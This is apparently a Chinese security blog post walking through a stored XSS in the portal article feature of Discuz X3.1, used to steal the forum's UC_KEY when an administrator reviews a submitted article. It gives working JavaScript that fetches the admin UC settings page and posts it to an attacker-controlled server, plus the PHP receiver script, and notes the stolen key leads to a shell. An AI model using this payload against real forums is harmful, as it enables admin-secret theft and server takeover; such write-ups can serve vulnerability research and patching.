Discuz某处XSS劫持UC_KEY(XSS应用详细过程)

  • A+
所属分类:漏洞时代
摘要

首先我们来看下我们目标环境的discuz配置,选择门户——添加频道:

然后看看可发表文章的用户组。这里是新手的发表文章文章权限配置。

可以发表文章,但是需要管理审核。

这个漏洞的位置在Discuz的门户功能处。  在发表文章时,打开“编辑源码”功能时,写入任意XSS CODE后,再进入和输出都没有过滤。导致存储型XSS。  大家都知道,这里的XSS虽然可以劫持到用户和管理的Cookies,但是没什么用,无法登陆。  那么,我们可以想办法拿XSS来干点其他的,比如劫持管理员后台内容,如UC_KEY等。  因为默认安装情况下这个门户功能是没有配置的。  所以管理员需要手动配置门户功能。大部分都会开启门户。  但是开启门户,添加门户频道后不是所有用户都可以发表文章。  发表文章的权限是管理员手动配置的。  一般情况:  1、管理员可以发表文章。  2、超级版主,版主等管理组可以发表文章。  3、普通用户可以发表文章。  4、上述用户发表文章后可以配置需要管理员审核等。  所以,综上所述,只要用户可以发表文章就可以到达目的了。 

首先我们来看下我们目标环境的discuz配置,选择门户——添加频道:
Discuz某处XSS劫持UC_KEY(XSS应用详细过程)
然后看看可发表文章的用户组。这里是新手的发表文章文章权限配置。
Discuz某处XSS劫持UC_KEY(XSS应用详细过程)
可以发表文章,但是需要管理审核。

上述时普遍存在的常规门户文章发表配置。
然后我们在目标站上注册用户,发表文章:
Discuz某处XSS劫持UC_KEY(XSS应用详细过程)
具体注意的,介绍的部分上图已说明。

这里攻击者服务其上的jquery.js和js.js就是我们劫持UC_KEY的核心。

说白了就是劫持页面源代码。没什么技术含量。

这里我用了ajax请求,为了避免没有jquery环境,自己加上了jquery.js。

js.js代码如下:
[php]
$(document).ready(function(){

var htmlstr = '';

$.ajax({

url: "http://xxx.xxx.100.235/Discuz_X3.1_SC_UTF8/admin.php?action=setting&operation=uc",

dataType: "text",

async: false,

success: function(data){

htmlstr = data;

}

});

$.ajax({

url: "http://xxx.xxx.20.198/savepage.php",

dataType: "text",

async: false,

type: "POST",

data: {"msg": htmlstr},

success: function(data){

//htmlstr = data;

}

});

//$("body").append("

"+htmlstr+"

");

//alert(htmlstr)

});[/php]
功能就是劫持目标的http://xxx.xxx.100.235/Discuz_X3.1_SC_UTF8/admin.php?action=setting&operation=uc页面的内容,然后发送到攻击者的http://xxx.xxx.20.198/savepage.php上。

savepage.php就是接受目标页面源码内容的,代码如下:
[php]

$data=$_POST['msg'];

$file='savepage.txt';

if (is_writable($file) == false) {

die('123');

}

file_put_contents($file, $data);

?>
[/php]
下面我们来看看我们发表文章后,目标站点上的响应:
Discuz某处XSS劫持UC_KEY(XSS应用详细过程)
管理员进入后台就会看见提示。
Discuz某处XSS劫持UC_KEY(XSS应用详细过程)
打开需要审核的内容,管理员在审核时一般都会看看这个文章的内容,是否可以发布。

此时管理员查看时,已经被我们劫持。
Discuz某处XSS劫持UC_KEY(XSS应用详细过程)
最后我们回到攻击者,看看我们接收到的内容:
Discuz某处XSS劫持UC_KEY(XSS应用详细过程)
剩下的就是利用UC_KEY直接拿shell,或者登陆后台,这里的内容见其他漏洞详情。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: